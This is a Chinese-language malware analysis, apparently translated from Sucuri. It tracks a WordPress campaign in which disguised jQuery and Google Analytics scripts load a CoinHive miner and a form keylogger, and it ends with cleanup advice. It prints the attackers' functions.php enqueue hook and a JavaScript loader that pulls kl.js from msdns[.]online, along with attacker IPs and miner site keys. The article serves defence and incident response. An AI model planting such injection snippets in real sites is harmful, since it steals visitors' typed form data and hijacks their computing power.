几个月前,我们曾在我们发布的短文中介绍过两个来源于“cloudflare.solutions”域的恶意脚本。攻击者将其伪装成jQuery和Google Analytics JS文件,实则是一个Coinhive挖矿脚本和WordPress键盘记录器。该恶意软件最初是由我们的一位分析人员在去年4月份发现的,如今又出现了新的演变。
Keylogger被分发到新域名
在2017年12月8日发布了关于keylogger的帖子后,没几天Cloudflare[.]solutions域就失效了。然而这并不是该恶意软件运动的结束,我们发现攻击者分别在12月8号、9号和16号又立即在线注册了cdjs[.]online、cdns[.]ws、sdns[.]online这三个新域名。
PublicWWW已经确定了部分受感染的站点:其中有129个与cdns[.]ws域相关,103个与cdjs[.]online域相关。之所以出现感染站点数量减少的情况,可能是因为大部分的网站还没有被索引的缘故。自12月中旬以来,msdns[.]online已经感染了一千多个站点,但大多数是来自已被入侵站点的二次感染。
攻击中使用的注入脚本
在过去的一个月中,该攻击中使用了多种注入脚本:
- hxxps://cdjs[.]online/lib.js
- hxxps://cdjs[.]online/lib.js?ver=…
- hxxps://cdns[.]ws/lib/googleanalytics.js?ver=…
- hxxps://msdns[.]online/lib/mnngldr.js?ver=…
- hxxps://msdns[.]online/lib/klldr.js
就像当初cloudflare[.]solutions的攻击策略,cdjs[.]online脚本也会被注入到WordPress数据库(wp_posts表)或主题的functions.php文件中。
同样,cdns[.]ws和msdns[.]online脚本也可以被注入到主题的functions.php文件中:
function chmnr_klgr_enqueue_script() {
wp_enqueue_script( 'chmnr_klgr-js', 'hxxps://cdns[.]ws/lib/googleanalytics.js', false );
与先前版本包含“add_js_scripts”hook函数不同的是,此次攻击使用函数和hook名称来表明其用途。例如,chmnr_klgr-js可能意为“miner_keylogger”。
假GoogleAnalytics脚本的演变
与此前版本一样,我们找到了一个被混淆处理过的假googleanalytics.js脚本文件。
经过解码我们得到以下代码,可以看到一个名为startGoogleAnalytics的函数:
startGoogleAnalytics会自动加载cdns[.]ws上的另外三个脚本:
- hxxps://cdns[.]ws/lib/jquery-3.2.1.min.js?v=1.013
- hxxps://cdns[.]ws/lib/kl.js
- hxxps://cdns[.]ws/lib/mnrstrtr.js
注:对于来自 cdjs[.]online的libs.js,加载的几乎是相同的脚本,但并不包含任何混淆。
假jQuery文件中的加密货币挖矿机
我们已经确定了jquery-3.2.1.min.js库,类似于此前版本中被加密的CoinHive加密货币挖矿库,它是从hxxp:// 3117488091/lib/jquery-3.2.1.min.js?v=3.2.11被加载的(或hxxp://185 .209 .23 .219/lib/jquery-3.2.1.min.js?v=3.2.11,这是IP地址的一个常见表示形式)。这其实并不奇怪,因为服务器185.209.23.219上存在 cdjs[.]online。
有意思的是,这个脚本扩展了CoinHive库,并为LIB_URL和WEBSOCKET_SHARDS添加了一个使用185.209.23.219服务器(特别是cdjs[.]online)的可选配置。
在这个新的设置中,默认使用CoinHive配置,但是;如果与CoinHive服务器的连接失败,则攻击者会使用cdjs[.]online配置与站点密钥lZnIoM7JAc6g0xBbWpUsVKSuLPBehT4s作为回退(fallback)。
为了初始化挖矿机,恶意软件会使用mnrstrtr.js(可将其翻译为“miner starter”)加载恶意startGoogleAnalytics函数:
var gstats = new googleanalytics.Anonymous('NPRak9QU4lFBSneFt23qEIChh5r0SZev');
此脚本使用NPRak9QU4lFBSneFt23qEIChh5r0SZev站点密钥创建CoinHive挖矿机实例,该密钥与旧版本恶意软件中的密钥相同。
Keylogger(键盘记录器)
/lib/kl.js脚本就是我们去年在cloudflare[.]solutions恶意软件中发现的键盘记录程序。
从以下截图对比中可以看到,解码后的Javascript文件与之前版本的keylogger非常相似:
唯一不同的是socketURL地址,现在换成了“wss://cdjs[.]online:8085/”(替代了原来的wss://cloudflare[.]solutions:8085)以及linterkeys变量部分从“https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js”更改为了“https://js.io/query”。
但不幸的是对于不知情的用户和站点管理员而言,它们输入的表单数据,仍将会通过脚本的WebSocket协议发送给黑客。想要了解关于keylogger的工作流程,可以阅读我们之前发布的文章。
Msdns[.]online注入
这里我想特别强调msdns[.]online这个新的恶意域,它的行为与此前的略有不同。与来自其他两个域的脚本不同,它提供了一个加密货币挖矿机脚本(hxxps://msdns[.]online/lib/mnngldr.js?ver=…它仍然伪装成Google Analytics和jQuery)或键盘记录器(hxxps://msdns[.]online/lib/klldr.js)。
keylogger加载以下代码:
var snf = document.createElement("script");
snf.type = "text/javascript";
snf.setAttribute("defer", "defer");
snf.src = "hxxps://msdns[.]online/lib/kl.js";
document.head.appendChild(snf);
该代码随后会加载hxxps://msdns[.]online/lib/kl.js脚本。由于msdns[.]online位于与cdns[.]ws相同的服务器上,因此这个kl.js与我们在上一节中描述的WordPress键盘记录程序相同 - 因此我们可将klldr.js文件名译为“keylogger loader”。
三个恶意IP地址
我们已经确定了此次攻击中所使用的3个服务器IP地址:
- 185.209.23.219(cdjs[.]online,或 3117488091,在那里你仍然可以找到cloudflare[.]solutions版中的keylogger)
- 185.14.28.10(或3104709642, 挖矿脚本仍在hxxp://185.14.28 .10/lib/jquery-3.2.1.min.js?v=3.2.11,以及cloudflare[.]solutions版中的keylogger hxxp://185 .14 .28. 10/lib/kl.js)
- 107.181.161.159(cdns[.]ws和msdns[.]online – 提供了新版本的挖矿脚本和keylogger)
总结
虽然这些新的攻击似乎还没有像原来的Cloudflare[.]solutions一样造成巨大广泛的影响,但这也表明了许多网站在第一次受感染后并没有进行及时妥善的处理,有些网站甚至可能都不知道自己已经中招。
要想清除感染,你需要删除主题functions.php文件中的恶意代码,扫描wp_posts表找出可能存在的注入,更改你所有WordPress密码(!),并更新所有服务器软件,包括所有第三方主题和插件。
关于WordPress站点清理的详细指南,可以在这里查看。此外,我们也建议你使用WAF产品对你的站点做进一步的防护。
*参考来源:sucuri,FB小编 secist 编译,转载请注明来自FreeBuf.COM